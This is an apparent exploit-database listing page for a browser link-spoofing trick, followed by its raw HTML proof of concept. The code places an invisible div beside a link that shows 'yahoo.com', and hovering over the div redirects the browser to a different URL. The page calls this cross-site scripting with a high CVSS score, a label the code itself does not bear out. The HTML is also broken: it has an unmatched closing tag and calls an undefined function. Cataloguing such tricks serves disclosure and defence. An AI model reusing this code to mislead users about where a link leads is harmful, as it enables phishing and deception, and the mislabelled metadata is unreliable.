header-logo
Suggest Exploit
vendor:
N/A
by:
N/A
8,8
CVSS
HIGH
Cross-site Scripting (XSS)
79
CWE
Product Name: N/A
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: N/A
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP SP2/3
N/A

Exploit using malicious website

This exploit tricks a user into accessing a malicious website by using a malicious link. The malicious link is embedded in the HTML code, which is triggered when the user hovers over the link. The malicious link redirects the user to a malicious website, while the user is under the impression that they are accessing a legitimate website.

Mitigation:

Input validation, output encoding, and content security policy can be used to mitigate XSS attacks.
Source

Exploit-DB raw data:

# Tested on: Windows XP SP2/3
# Code : 
# You can trick a user into accessing a malicious website by using 
the following exploit
# The first link would be the malicious one.


<html>
<body>
<div id="mydiv"
onmouseover="document.location='http://www.youtube.com/watch?v=oHg5S
JYRHA0';"
style="position:absolute;width:2px;height:2px;background:#FFFFFF;bor
der:0px"></div>

<br>
<a href="http://www.yahoo.com" onclick="updatebox(event)"><font
style="font-family:arial;font-
size:32px">http://www.yahoo.com</font></a><br>

</div>
</body>
</html>